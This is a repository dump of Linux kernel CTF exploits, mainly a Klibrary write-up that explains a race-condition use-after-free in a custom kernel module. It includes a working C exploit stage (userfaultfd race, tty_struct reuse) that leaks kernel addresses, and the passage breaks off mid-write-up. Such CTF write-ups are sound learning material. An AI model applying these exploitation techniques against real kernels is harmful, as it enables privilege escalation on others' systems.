├── .gitignore ├── .gitmodules ├── README.md └── ctf ├── 3k-2021-klibrary ├── README.md ├── bzImage ├── exploit.c ├── extract.sh ├── flag.txt ├── img │ ├── fourth_stage.png │ ├── third_stage1.png │ └── third_stage2.png ├── initramfs.cpio ├── src │ └── library.c ├── start.sh └── upload.py ├── dice-2021-hashbrown ├── .gitignore ├── Makefile ├── README.md ├── bzImage ├── exploit-modprobe-path.c ├── exploit-task.c ├── exploit.c ├── extract-linux.sh ├── extract.sh ├── hashbrown_distributed.c ├── initramfs.cpio.gz └── run.sh ├── hitcon-2020-atoms ├── README.md ├── atoms.ko ├── bzImage ├── exploit.c ├── exploit.py ├── extract.sh ├── flag.png ├── initramfs.cpio.gz └── run.sh ├── hxp-2020-kernel-rop ├── .gitignore ├── README.md ├── exploit-no-kaslr.c ├── exploit.c ├── extract-vmlinux.sh ├── extract.sh ├── flag.txt ├── initramfs.cpio.gz ├── run-nokaslr.sh ├── run.sh └── vmlinuz └── line-2021-pprofile ├── .gitignore ├── README.md ├── bzImage ├── exploit.c ├── extract-linux.sh ├── extract.sh ├── initramfs.cpio.gz ├── pprofile-reversed.c └── run.sh /.gitignore: -------------------------------------------------------------------------------- 1 | initramfs/ 2 | initramfs.cpio 3 | exploit 4 | vmlinux-to-elf/ 5 | vmlinux_sym 6 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "1day/CVE-2022-24122"] 2 | path = 1day/CVE-2022-24122 3 | url = git@github.com:meowmeowxw/CVE-2022-24122 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Kernel Exploits 2 | 3 | In this repository I would like to collect various exploits for the linux kernel, 4 | eventually with writeups. 5 | 6 | The exploits are written by me and my CTF team. 7 | 8 | Inside every CTF challenge there is `extract.sh` to extract initramfs. 9 | 10 | ## CTF 11 | 12 | | Challenge | Summary | Writeup | 13 | | --- | --- | --- | 14 | | [Klibrary](./ctf/3k-2021-klibrary) | UAF + race condition (SLUB) | :heavy_check_mark: | 15 | | [Pprofile](./ctf/line-2021-pprofile) | Unchecked copy_to_user | :heavy_check_mark: | 16 | | [Hashbrown](./ctf/dice-2021-hashbrown) | UAF + race condition (SLAB) | :x: | 17 | | [Kernel-Rop](./ctf/hxp-2020-kernel-rop) | ROP chain with KPTI+SMAP+SMEP+KASLR-FG | :x: | 18 | | [Atoms](./ctf/hitcon-2020-atoms) | Kernel deadlock | :x: | 19 | -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/README.md: -------------------------------------------------------------------------------- 1 | # Klibrary 2 | 3 | Exploit linux kernel use after free with a race condition. 4 | 5 | You can also read the writeup here: https://meowmeowxw.gitlab.io/ctf/3k-2021-klibrary/ 6 | 7 | ## Information 8 | 9 | > Store your books safely inside the kernel! 10 | 11 | > nc klibrary.2021.3k.ctf.to 9994 12 | 13 | ## Setup 14 | 15 | This is a linux kernel pwn challenge. We have: 16 | 17 | 1. `bzImage` -> This is the linux kernel image 18 | 2. `initramfs.cpio` -> This is the compressed file system 19 | 3. `src/library.c` -> This is the source code of the custom kernel module 20 | 4. `start.sh` -> This is the qemu script to run the kernel image 21 | 22 | To extract the filesystem use: 23 | 24 | ```sh 25 | mkdir initramfs 26 | cd initramfs 27 | cpio -i < ../initramfs.cpio 28 | ``` 29 | 30 | Inside we can find the `init` file and the custom kernel module `library.ko`. 31 | 32 | To compress the filesystem with cpio: 33 | 34 | ```sh 35 | cd ./initramfs 36 | find . | cpio -o -H newc > ../initramfs1.cpio 37 | cd ../ 38 | ``` 39 | 40 | To start the os as root you need to edit `initramfs/init`: 41 | 42 | ``` 43 | setsid cttyhack setuidgid 0 sh 44 | # setsid cttyhack setuidgid 1000 sh 45 | ``` 46 | 47 | I modified the `start.sh` to compile my exploit, compress the filesystem, disable kaslr 48 | and start qemu in debug mode: 49 | 50 | ```sh 51 | #!/bin/sh 52 | 53 | gcc -g -static ./exploit.c -o ./initramfs/exploit -lpthread -no-pie 54 | 55 | cd ./initramfs 56 | find . | cpio -o -H newc > ../initramfs1.cpio 57 | cd ../ 58 | 59 | exec qemu-system-x86_64 \ 60 | -m 128M \ 61 | -nographic \ 62 | -kernel "./bzImage" \ 63 | -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr" \ 64 | -no-reboot \ 65 | -cpu qemu64,+smep,+smap \ 66 | -monitor /dev/null \ 67 | -initrd "./initramfs1.cpio" \ 68 | -smp 2 \ 69 | -smp cores=2 \ 70 | -smp threads=1 \ 71 | -s 72 | ``` 73 | 74 | The active kernel protections are: 75 | 76 | 1. KASLR 77 | 3. SMEP -> You can't execute shellcode in user-space when the cpu is in kernel mode/ring 0 78 | 2. SMAP -> You can't access page in user-space when the cpu is in kernel mode (it's harder to rop) 79 | 3. KPTI -> Separate kernel-space from user-space page tables 80 | 81 | You can extract the `bzImage` with https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux. 82 | After that I use https://github.com/marin-m/vmlinux-to-elf to export the symbols 83 | inside the kernel's elf image to use during debugging. 84 | 85 | ## Analysis 86 | 87 | `library.c`: 88 | 89 | ```c 90 | #include 91 | #include 92 | #include 93 | #include 94 | #include 95 | #include 96 | #include 97 | 98 | #define DEVICE_NAME "library" 99 | #define CLASS_NAME "library" 100 | #define BOOK_DESCRIPTION_SIZE 0x300 101 | 102 | #define CMD_ADD 0x3000 103 | #define CMD_REMOVE 0x3001 104 | #define CMD_REMOVE_ALL 0x3002 105 | #define CMD_ADD_DESC 0x3003 106 | #define CMD_GET_DESC 0x3004 107 | 108 | static DEFINE_MUTEX(ioctl_lock); 109 | static DEFINE_MUTEX(remove_all_lock); 110 | 111 | MODULE_AUTHOR("MaherAzzouzi"); 112 | MODULE_DESCRIPTION("A library implemented inside the kernel."); 113 | MODULE_LICENSE("GPL"); 114 | 115 | static int major; 116 | static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg); 117 | static int library_open(struct inode* inode, struct file *filp); 118 | static int library_release(struct inode* inode, struct file *filp); 119 | 120 | static struct file_operations library_fops = { 121 | .owner = THIS_MODULE, 122 | .unlocked_ioctl = library_ioctl, 123 | .open = library_open, 124 | .release = library_release 125 | }; 126 | 127 | static struct class* library_class = NULL; 128 | static struct device* library_device = NULL; 129 | 130 | struct Book { 131 | char book_description[BOOK_DESCRIPTION_SIZE]; 132 | unsigned long index; 133 | struct Book* next; 134 | struct Book* prev; 135 | } *root; 136 | 137 | struct Request { 138 | unsigned long index; 139 | char __user * userland_pointer; 140 | }; 141 | 142 | unsigned long counter = 1; 143 | 144 | static int add_book(unsigned long index); 145 | static int remove_book(unsigned long index); 146 | static noinline int remove_all(void); 147 | static int add_description_to_book(struct Request request); 148 | static int get_book_description(struct Request request); 149 | 150 | static int library_open(struct inode* inode, struct file *filp) { 151 | 152 | printk(KERN_INFO "[library] : manage your books safely here!\n"); 153 | return 0; 154 | } 155 | 156 | 157 | static int library_release(struct inode* inode, struct file *filp) { 158 | printk(KERN_INFO "[library] : vulnerable device closed! try harder.\n"); 159 | remove_all(); 160 | return 0; 161 | } 162 | 163 | static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg) { 164 | struct Request request; 165 | 166 | if(copy_from_user((void*)&request, (void*)arg, sizeof(struct Request))) { 167 | return -1; 168 | } 169 | 170 | if(cmd == CMD_REMOVE_ALL) { 171 | mutex_lock(&remove_all_lock); 172 | remove_all(); 173 | mutex_unlock(&remove_all_lock); 174 | } else { 175 | mutex_lock(&ioctl_lock); 176 | 177 | switch(cmd) { 178 | case CMD_ADD: 179 | add_book(request.index); 180 | break; 181 | case CMD_REMOVE: 182 | remove_book(request.index); 183 | break; 184 | case CMD_ADD_DESC: 185 | add_description_to_book(request); 186 | break; 187 | case CMD_GET_DESC: 188 | get_book_description(request); 189 | break; 190 | } 191 | 192 | mutex_unlock(&ioctl_lock); 193 | } 194 | return 0; 195 | 196 | } 197 | 198 | static int add_book(unsigned long index) { 199 | 200 | if(counter >= 10) { 201 | printk(KERN_INFO "[library] can only hold 10 books here\n"); 202 | return -1; 203 | } 204 | 205 | struct Book *b, *p; 206 | b = (struct Book*)kzalloc(sizeof(struct Book), GFP_KERNEL); 207 | 208 | if(b == NULL) { 209 | printk(KERN_INFO "[library] : allocation failed! \n"); 210 | return -1; 211 | } 212 | 213 | b->index = index; 214 | if(root == NULL) { 215 | root = b; 216 | root->prev = NULL; 217 | root->next = NULL; 218 | } else { 219 | p = root; 220 | while(p->next != NULL) 221 | p = p->next; 222 | p->next = b; 223 | b->prev = p; 224 | b->next = NULL; 225 | } 226 | 227 | counter++; 228 | 229 | return 0; 230 | } 231 | 232 | static int remove_book(unsigned long index) { 233 | struct Book *p, *prev, *next; 234 | if(root == NULL) { 235 | printk(KERN_INFO "[library] : no books in the library yet."); 236 | return -1; 237 | } 238 | else if (root->index == index) { 239 | p = root; 240 | root = root->next; 241 | kfree(p); 242 | } 243 | else { 244 | p = root; 245 | while(p != NULL && p->index != index) 246 | p = p->next; 247 | 248 | if(p == NULL) { 249 | printk(KERN_INFO "[library] : can't remove %ld reason : not found\n", index); 250 | } 251 | 252 | prev = p->prev; 253 | next = p->next; 254 | prev->next = next; 255 | next->prev = prev; 256 | 257 | kfree(p); 258 | } 259 | 260 | counter--; 261 | 262 | return 0; 263 | } 264 | 265 | static noinline int remove_all(void) { 266 | struct Book *b, *p; 267 | b = root; 268 | 269 | while(b != NULL) { 270 | p = b->next; 271 | kfree(b); 272 | b = p; 273 | } 274 | 275 | root = NULL; 276 | counter = 1; 277 | return 0; 278 | } 279 | 280 | static int add_description_to_book(struct Request request) { 281 | struct Book* book = root; 282 | 283 | if(book == NULL){ 284 | printk(KERN_INFO "[library] : no books in the library yet.\n"); 285 | return -1; 286 | } 287 | 288 | 289 | for(; book != NULL && book->index != request.index; book = book->next); 290 | 291 | if(book == NULL) { 292 | printk(KERN_INFO "[library] : the given index wasn't found\n"); 293 | return -1; 294 | } 295 | 296 | if(copy_from_user((void*)book->book_description, 297 | (void*)(request.userland_pointer), 298 | BOOK_DESCRIPTION_SIZE)) { 299 | printk(KERN_INFO "[library] : copy_from_user failed for some reason.\n"); 300 | return -1; 301 | } 302 | } 303 | 304 | static int get_book_description(struct Request request) { 305 | struct Book* book; 306 | book = root; 307 | 308 | if(book == NULL) { 309 | printk("[library] : no books yet, can not read the description.\n"); 310 | return -1; 311 | } 312 | 313 | while(book != NULL && book->index != request.index) 314 | book = book->next; 315 | 316 | if(book == NULL) { 317 | printk(KERN_INFO "[library] : no book with the index you provided\n"); 318 | return -1; 319 | } 320 | 321 | if(copy_to_user((void*)request.userland_pointer, 322 | (void*)book->book_description, 323 | BOOK_DESCRIPTION_SIZE)) { 324 | printk("[library] : copy_to_user failed!\n"); 325 | return -1; 326 | } 327 | } 328 | 329 | static int __init init_library(void) { 330 | major = register_chrdev(0, DEVICE_NAME, &library_fops); 331 | 332 | if(major < 0) { 333 | return -1; 334 | } 335 | 336 | library_class = class_create(THIS_MODULE, CLASS_NAME); 337 | if(IS_ERR(library_class)) { 338 | unregister_chrdev(major, DEVICE_NAME); 339 | return -1; 340 | } 341 | 342 | library_device = device_create(library_class, 343 | 0, 344 | MKDEV(major, 0), 345 | 0, 346 | DEVICE_NAME); 347 | 348 | if(IS_ERR(library_device)) { 349 | class_destroy(library_class); 350 | unregister_chrdev(major, DEVICE_NAME); 351 | return -1; 352 | } 353 | 354 | root = NULL; 355 | mutex_init(&ioctl_lock); 356 | mutex_init(&remove_all_lock); 357 | printk(KERN_INFO "[library] : started!\n"); 358 | return 0; 359 | } 360 | 361 | static void __exit exit_library(void) { 362 | 363 | device_destroy(library_class, MKDEV(major, 0)); 364 | class_unregister(library_class); 365 | class_destroy(library_class); 366 | unregister_chrdev(major, DEVICE_NAME); 367 | 368 | mutex_destroy(&ioctl_lock); 369 | mutex_destroy(&remove_all_lock); 370 | printk(KERN_INFO "[library] : finished!\n"); 371 | } 372 | 373 | module_init(init_library); 374 | module_exit(exit_library); 375 | ``` 376 | 377 | To communicate with the kernel module we need to use [ioctl](https://man7.org/linux/man-pages/man2/ioctl.2.html). 378 | The module has a double linked list called root: 379 | 380 | ```c 381 | struct Book { 382 | char book_description[BOOK_DESCRIPTION_SIZE]; 383 | unsigned long index; 384 | struct Book* next; 385 | struct Book* prev; 386 | } *root; 387 | ``` 388 | 389 | We can interact with the module with 5 commands: 390 | 391 | 1. **CMD_ADD(index)** -> add book to the list and set the specified index 392 | 2. **CMD_REMOVE(index)** -> remove book from the list 393 | 3. **CMD_ADD_DESC(index, buffer)** -> copy userspace buffer inside `book_description` 394 | 4. **CMD_GET_DESC(index, buffer)** -> copy to userspace buffer the content of `book_description` 395 | 5. **CMD_REMOVE_ALL()** -> kfree all the book 396 | 397 | We can have 10 books inside the list. 398 | 399 | ### Vulnerability 400 | 401 | ```c 402 | if(cmd == CMD_REMOVE_ALL) { 403 | mutex_lock(&remove_all_lock); 404 | remove_all(); 405 | mutex_unlock(&remove_all_lock); 406 | } else { 407 | mutex_lock(&ioctl_lock); 408 | 409 | switch(cmd) { 410 | case CMD_ADD: 411 | add_book(request.index); 412 | break; 413 | case CMD_REMOVE: 414 | remove_book(request.index); 415 | break; 416 | case CMD_ADD_DESC: 417 | add_description_to_book(request); 418 | break; 419 | case CMD_GET_DESC: 420 | get_book_description(request); 421 | break; 422 | } 423 | 424 | mutex_unlock(&ioctl_lock); 425 | } 426 | ``` 427 | 428 | The vulnerability is easy to spot if you're familiar with this kind of challenge. 429 | The module uses two separate `mutex_lock` to handle commands, so we can trigger a race condition: 430 | 431 | 1. one thread **add** the description and another does the kfree of the list -> Use-After-Free (write) 432 | 2. one thread **get** the description and another does the kfree of the list -> Use-After-Free (read) 433 | 434 | ### SLUB Intro 435 | 436 | SLUB is the default allocator of the linux kernel, of course it's not easy to 437 | understand the inner workings but there are some nice introductions on the internet: 438 | 439 | 1. https://github.com/PaoloMonti42/salt/blob/master/docs/0x00_SLUB_refresher.md 440 | 2. https://ruffell.nz/programming/writeups/2019/02/15/looking-at-kmalloc-and-the-slub-memory-allocator.html 441 | 3. https://hammertux.github.io/slab-allocator 442 | 4. Read the source code 😎 443 | 444 | To make things simple there are different freelist of free objects of different sizes 445 | and there are specific list to contain only specifc objects (ex. task_struct of every process). 446 | You can find the freelist with: `cat /proc/slabinfo` 447 | The freelist are simple linked-list with the next pointer that points to next free object. 448 | On the implementation of SLUB there are two protections that luckily for us weren't 449 | enabled on this challenge(in reality only one would have been a bit tedious): 450 | 451 | 1. [CONFIG_SLAB_FREELIST_HARDENED](https://elixir.bootlin.com/linux/v5.11/source/mm/slub.c#L250) -> encrypt the next pointer with: xor of a random value xor address of the pointer bswapped (swap endianess, in a way similar to glibc 2.32 ptr protection) 452 | 2. [CONFIG_SLAB_FREELIST_RANDOM](https://elixir.bootlin.com/linux/v5.11/source/mm/slub.c#L1625) -> randomize the order of the freelist, by default the freed objects available are "ordered" from the lowest to highest address 453 | 454 | Since our book struct occupies 0x318=792 bytes the kernel will get a freed object from a kmalloc-1024 list. 455 | 456 | ### Race condition 457 | 458 | Spawning two threads that tries to trigger the race condition it's not optimal, 459 | we have low probability of success. Luckily for us exists [userfaultfd](https://man7.org/linux/man-pages/man2/userfaultfd.2.html) 460 | that can be used to register the routine to handle a page fault in userspace: 461 | 462 | https://blog.lizzie.io/using-userfaultfd.html 463 | 464 | With this technique we can arbitrarily stop kernel code execution when the kernel tries to execute 465 | `copy_from_user(dest, uf_page, ...)` or `copy_to_user(uf_page, src, ...)` where `uf_page` is a mmaped 466 | address in user space registered with userfaultfd by us. 467 | 468 | So we can effectively stop during `add_description_to_book` and `get_book_description` to 469 | execute `remove_all` and trigger the UAF. 470 | 471 | ## Writeup 472 | 473 | ### 1st stage 474 | 475 | The first thing we have to do is to leak addresses to defeat KASLR. In linux kernel 476 | heap exploitation there are various techniques, the most used is to use some 477 | syscall to tell the kernel to allocate indirectly some structs, if we have a UAF we 478 | can then read/write to this struct to get an arb read/write or rip control. 479 | 480 | 1. I free a book in address 0xaa00 481 | 2. syscall(something) -> trigger kmalloc -> return 0xaa00 482 | 483 | For a list of useful structs: 484 | 485 | 1. https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628 486 | 2. www.personal.psu.edu/yxc431/publications/SLAKE.pdf 487 | 488 | For kmalloc-1024 the most used structure is [tty_struct](https://elixir.bootlin.com/linux/v5.9.10/source/include/linux/tty.h#L285) 489 | that we can use to achieve arbitrary read/write and RIP control. To allocate the 490 | structure we just need to execute `ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);` 491 | 492 | The strategy is to: 493 | 494 | | Thread 1 | Thread 2 | 495 | -----------|----------| 496 | allocate a book 0 | idle | 497 | register ufd to address XYZ | idle | 498 | get_book_description(dest=XYZ) --> STOP execution here | page fault | 499 | idle | remove_all | 500 | idle | open("/dev/ptmx") | 501 | idle | return | 502 | finish copy_to_user with leaked tty_struct | ended | 503 | 504 | ```c 505 | #include 506 | #include 507 | #include 508 | #include 509 | #include 510 | #include 511 | #include 512 | #include 513 | #include 514 | #include 515 | #include 516 | #include 517 | #include 518 | #include 519 | #include 520 | #include 521 | #include 522 | #include 523 | #include 524 | #include 525 | 526 | #define DEVICE_NAME "/dev/library" 527 | 528 | #define BOOK_DESCRIPTION_SIZE 0x300 529 | 530 | #define CMD_ADD 0x3000 531 | #define CMD_REMOVE 0x3001 532 | #define CMD_REMOVE_ALL 0x3002 533 | #define CMD_ADD_DESC 0x3003 534 | #define CMD_GET_DESC 0x3004 535 | 536 | #define PAGESIZE 0x1000 537 | 538 | int ioctl_add(uint64_t id); 539 | int ioctl_remove(uint64_t id); 540 | int ioctl_add_desc(uint64_t id, uint8_t *buffer); 541 | int ioctl_get_desc(uint64_t id, uint8_t *buffer); 542 | int _ioctl_get_desc(uint64_t id, uint8_t *buffer); 543 | int ioctl_remove_all(); 544 | void leak_heap(); 545 | void write_next_ptr(); 546 | void *race_userfault(void (*func)()); 547 | int userfaultfd(int flags); 548 | int register_ufd(uint64_t page); 549 | void print_leak(uint64_t *ptr, int size); 550 | void get_rax(); 551 | 552 | typedef struct { 553 | uint64_t index; 554 | uint8_t *ptr; 555 | } request_t; 556 | 557 | typedef struct { 558 | uint64_t index; 559 | void *next; 560 | void *prev; 561 | } book_details; 562 | 563 | uint64_t kbase = 0x0L, 564 | heap_ptr = 0x0L; 565 | 566 | int fd, ufd, ret, ptmx; 567 | uint64_t uf_page, rax = 0, leak[BOOK_DESCRIPTION_SIZE]; 568 | const char cat[] = {0xf0, 0x9f, 0x90, 0x88, '\0'}; 569 | const char shark[] = {0xF0, 0x9F, 0xA6, 0x88, '\0'}; 570 | const char dice[] = {0xF0, 0x9F, 0x8E, 0xB2, '\0'}; 571 | const char alien[] = {0xF0, 0x9F, 0x91, 0xBE, '\0'}; 572 | const char ghost[] = {0xF0, 0x9F, 0x91, 0xBB, '\0'}; 573 | 574 | int main(int argc, char **argv) { 575 | uint8_t *buf = calloc(BOOK_DESCRIPTION_SIZE, 1); 576 | pthread_t th; 577 | 578 | fd = open(DEVICE_NAME, O_RDONLY); 579 | printf("[%s] fd: %d\n", alien, fd); 580 | 581 | ioctl_add(0); 582 | 583 | // 1st stage: LEAK KBASE AND KHEAP 584 | ufd = register_ufd(0xaaa000); 585 | printf("[%s] registered ufd: %d\t @ 0x%lx\n", shark, ufd, uf_page); 586 | pthread_create(&th, NULL, (void *)race_userfault, leak_heap); 587 | _ioctl_get_desc(0, (uint8_t *)0xaaa000); 588 | 589 | kbase = leak[66] - 0x14fc00; 590 | heap_ptr = leak[8] - 0x38; 591 | 592 | printf("\n"); 593 | printf("[%s] kbase: 0x%016lx\n", ghost, kbase); 594 | 595 | close(ptmx); 596 | return 0; 597 | } 598 | 599 | int ioctl_add(uint64_t id) { 600 | request_t arg = { 601 | .index = id, 602 | .ptr = NULL 603 | }; 604 | printf("[*] ioctl_add[%ld]\n", id); 605 | ret = ioctl(fd, CMD_ADD, &arg); 606 | if (ret != 0) { 607 | printf("[!] ioctl_add ret: %d\t id: %ld\n", ret, id); 608 | } 609 | return 0; 610 | } 611 | 612 | int ioctl_remove(uint64_t id) { 613 | request_t arg = { 614 | .index = id, 615 | .ptr = NULL 616 | }; 617 | printf("[*] ioctl_remove[%ld]\n", id); 618 | ret = ioctl(fd, CMD_REMOVE, &id); 619 | if (ret != 0) { 620 | printf("[!] ioctl_remove ret: %d\t id: %ld\n", ret, id); 621 | } 622 | return 0; 623 | } 624 | 625 | int ioctl_add_desc(uint64_t id, uint8_t *buffer) { 626 | request_t arg = { 627 | .index = id, 628 | .ptr = buffer 629 | }; 630 | printf("[*] ioctl_add_desc[%ld]\n", id); 631 | ret = ioctl(fd, CMD_ADD_DESC, &arg); 632 | if (ret != 0) { 633 | printf("[!] ioctl_add_desc ret: %d\t id: %ld\n", ret, id); 634 | } 635 | return 0; 636 | } 637 | 638 | int ioctl_get_desc(uint64_t id, uint8_t *buffer) { 639 | memset(buffer, 0, BOOK_DESCRIPTION_SIZE); 640 | return _ioctl_get_desc(id, buffer); 641 | } 642 | 643 | int _ioctl_get_desc(uint64_t id, uint8_t *buffer) { 644 | request_t arg = { 645 | .index = id, 646 | .ptr = buffer 647 | }; 648 | printf("[*] ioctl_get_desc[%ld]\n", id); 649 | ret = ioctl(fd, CMD_GET_DESC, &arg); 650 | if (ret != 0) { 651 | printf("[!] ioctl_get_desc ret: %d\t id: %ld\n", ret, id); 652 | } 653 | memcpy(leak, buffer, BOOK_DESCRIPTION_SIZE); 654 | print_leak((uint64_t *)buffer, BOOK_DESCRIPTION_SIZE); 655 | return 0; 656 | } 657 | 658 | int ioctl_remove_all() { 659 | request_t arg = { 660 | .index = 0xffffff, 661 | .ptr = NULL 662 | }; 663 | printf("[*] ioctl_remove_all\n"); 664 | ret = ioctl(fd, CMD_REMOVE_ALL, &arg); 665 | if (ret != 0) { 666 | printf("[!] ioctl_remove_all ret: %d\n", ret); 667 | } 668 | return 0; 669 | } 670 | 671 | void print_leak(uint64_t *ptr, int size) { 672 | for (int i = 0; i < size / 8; i++) { 673 | printf("0x%016lx\t", ptr[i]); 674 | if (!((i + 1) % 4)) { 675 | printf("\n"); 676 | } 677 | } 678 | printf("\n"); 679 | } 680 | 681 | int register_ufd(uint64_t page) { 682 | int fd = 0; 683 | int memsize = 0x1000; 684 | uf_page = page; 685 | struct uffdio_api api = { .api = UFFD_API }; 686 | 687 | uf_page = (uint64_t)mmap((void *)uf_page, 0x2000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); 688 | if ((void *)uf_page == MAP_FAILED) { 689 | perror("mmap uf_page"); 690 | exit(2); 691 | } 692 | 693 | if ((fd = userfaultfd(O_NONBLOCK)) == -1) { 694 | fprintf(stderr, "++ userfaultfd failed: %m\n"); 695 | exit(-1); 696 | } 697 | 698 | if (ioctl(fd, UFFDIO_API, &api)) { 699 | fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n"); 700 | exit(-1); 701 | } 702 | if (api.api != UFFD_API) { 703 | fprintf(stderr, "++ unexepcted UFFD api version.\n"); 704 | exit(-1); 705 | } 706 | 707 | /* mmap some pages, set them up with the userfaultfd. */ 708 | struct uffdio_register reg = { 709 | .mode = UFFDIO_REGISTER_MODE_MISSING, 710 | .range = { 711 | .start = uf_page, 712 | .len = memsize 713 | } 714 | }; 715 | 716 | if (ioctl(fd, UFFDIO_REGISTER, ®) == -1) { 717 | fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n"); 718 | exit(-1); 719 | } 720 | 721 | return fd; 722 | } 723 | 724 | void *race_userfault(void (*func)()) { 725 | char uf_buffer[0x1000]; 726 | struct pollfd evt = { .fd = ufd, .events = POLLIN }; 727 | 728 | while (poll(&evt, 1, -1) > 0) { 729 | /* unexpected poll events */ 730 | if (evt.revents & POLLERR) { 731 | perror("poll"); 732 | exit(-1); 733 | } else if (evt.revents & POLLHUP) { 734 | perror("pollhup"); 735 | exit(-1); 736 | } 737 | struct uffd_msg fault_msg = {0}; 738 | if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) { 739 | perror("read"); 740 | exit(-1); 741 | } 742 | char *place = (char *)fault_msg.arg.pagefault.address; 743 | if (fault_msg.event != UFFD_EVENT_PAGEFAULT 744 | || (place != (void *)uf_page && place != (void *)uf_page + PAGESIZE)) { 745 | fprintf(stderr, "unexpected pagefault?.\n"); 746 | exit(-1); 747 | } 748 | if (place == (void *)uf_page) { 749 | printf("[%s] got page fault at address %p, nice!\n", cat, place); 750 | printf("[%s] call whatever I want\n", cat); 751 | func(); 752 | printf("[%s] done! now releasing ufd to finish exit\n", cat); 753 | 754 | /* release by copying some data to faulting address */ 755 | struct uffdio_copy copy = { 756 | .dst = (long) place, 757 | .src = (long) uf_buffer, 758 | .len = PAGESIZE 759 | }; 760 | if (ioctl(ufd, UFFDIO_COPY, ©) < 0) { 761 | perror("ioctl(UFFDIO_COPY)"); 762 | exit(-1); 763 | } 764 | break; 765 | } 766 | } 767 | close(ufd); 768 | return NULL; 769 | } 770 | 771 | int userfaultfd(int flags) { 772 | return syscall(SYS_userfaultfd, flags); 773 | } 774 | 775 | void leak_heap() { 776 | ioctl_remove_all(); 777 | ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); 778 | } 779 | 780 | ``` 781 | 782 | Output: 783 | 784 | ``` 785 | [👾] fd: 3 786 | [*] ioctl_add[0] 787 | [🦈] registered ufd: 4 @ 0xaaa000 788 | [*] ioctl_get_desc[0] 789 | [🐈] got page fault at address 0xaaa000, nice! 790 | [🐈] call whatever I want 791 | [*] ioctl_remove_all 792 | [🐈] done! now releasing ufd to finish exit 793 | 0x0000000000000000 0x0000000000000000 794 | 0x0000000000000000 0x0000000000000000 795 | 0x0000000000000000 0x0000000000000000 796 | 0x0000000000000000 0xffff8880070d2038 797 | 0xffff8880070d2038 0xffff8880070d2048 798 | 0xffff8880070d2048 0xffff88800004e260 799 | 0x0000000000000000 0xffff8880070d2068 800 | 0xffff8880070d2068 0x0000000000000000 801 | 0xffff8880070d2080 0xffff8880070d2080 802 | 0x0000000000000000 0xffff8880070d2098 803 | 0xffff8880070d2098 0x0000000000000000 804 | 0x0000000000000000 0xffff8880070d20b8 805 | 0xffff8880070d20b8 0x0000000000000000 806 | 0xffff8880070d20d0 0xffff8880070d20d0 807 | 0x0000000000000000 0x00000000000000bf 808 | 0x010004157f1c0300 0x170f12001a131100 809 | 0x0000960000000016 0x0000000000009600 810 | 0x0000000000000000 0x0000000000000000 811 | 0x0000000000000000 0x0000000000000000 812 | 0x0000000000000000 0x0000000000000000 813 | 0x00000000306d7470 0x0000000000000000 814 | 0x0000000000000000 0x0000000000000000 815 | 0x0000000000000000 0x0000000000000000 816 | 0x0000000000000000 0x0000000000000000 817 | 0x0000000000000000 0x0000000000000000 818 | 0x0000000000010801 0x0000000000000001 819 | 0x0000000000000000 0x0000000000000000 820 | 0x0000000000000000 0x0000000000000000 821 | 0x0000000000000000 0xffff8880070d2400 822 | 0x0000000000000000 0xffff8880070d21d8 823 | 0xffff8880070d21d8 0xffff8880070d21e8 824 | 0xffff8880070d21e8 0x0000000fffffffe0 825 | 0xffff8880070d2200 0xffff8880070d2200 826 | 0xffffffff8114fc00 0xffffc90000091000 827 | 0xffff8880001658c0 0xffff88800003eb30 828 | 0xffff88800003eb30 0x0000000000000000 829 | 0x0000000000000000 0x0000000000000000 830 | 0x0000000fffffffe0 0xffff8880070d2258 831 | 0xffff8880070d2258 0xffffffff8114ec30 832 | 0xffff88800709c600 0x0000000000000000 833 | 0x0000000000000000 0x0000000000000000 834 | 0x0000000000000000 0x0000000000000000 835 | 0x0000000000000000 0x0000000000000000 836 | 0x0000000000000000 0x0000000000000000 837 | 0x0000000000000000 0x0000000000000000 838 | 0x0000000000000000 0x0000000000000000 839 | 0x0000000000000000 0x0000000000000000 840 | 0x0000000000000000 0x0000000000000000 841 | 842 | [👻] kbase: 0xffffffff81000000 843 | [👾] heap_ptr: 0xffff8880070d2000 844 | ``` 845 | 846 | For some reasons I don't get the firsts 0x30 bytes of the `tty_struct`. For example 847 | at `+0x18` there is the pointer to the virtual table used by the tty. To get the various 848 | offset of a struct I use `pahole` (sometimes however the offset depend on the 849 | compilations flag etc). Example: 850 | 851 | ```c 852 | $ pahole -E tty_struct 853 | struct tty_struct { 854 | int magic; /* 0 4 */ 855 | struct kref { 856 | /* typedef refcount_t */ struct refcount_struct { 857 | /* typedef atomic_t */ struct { 858 | int counter; /* 4 4 */ 859 | } refs; /* 4 4 */ 860 | } refcount; /* 4 4 */ 861 | } kref; /* 4 4 */ 862 | struct device * dev; /* 8 8 */ 863 | struct tty_driver * driver; /* 16 8 */ 864 | const struct tty_operations * ops; /* 24 8 */ 865 | int index; /* 32 4 */ 866 | 867 | /* XXX 4 bytes hole, try to pack */ 868 | 869 | struct ld_semaphore { 870 | /* typedef atomic_long_t -> atomic64_t */ struct { 871 | /* typedef s64 -> __s64 */ long long int counter; /* 40 8 */ 872 | 873 | ... 874 | 875 | struct list_head { 876 | struct list_head * next; /* 56 8 */ 877 | /* --- cacheline 1 boundary (64 bytes) --- */ 878 | struct list_head * prev; /* 64 8 */ 879 | } read_wait; /* 56 16 */ 880 | struct list_head { 881 | struct list_head * next; /* 72 8 */ 882 | struct list_head * prev; /* 80 8 */ 883 | ... 884 | ``` 885 | 886 | Anyway, at offset 56/64 there is the prev and next that points to the address of 887 | the next tty, but since they're not allocated we have the address of the pointer itself. 888 | If we substract 0x38 we get the address of the tty. 889 | At offset 66*8 we have instead a 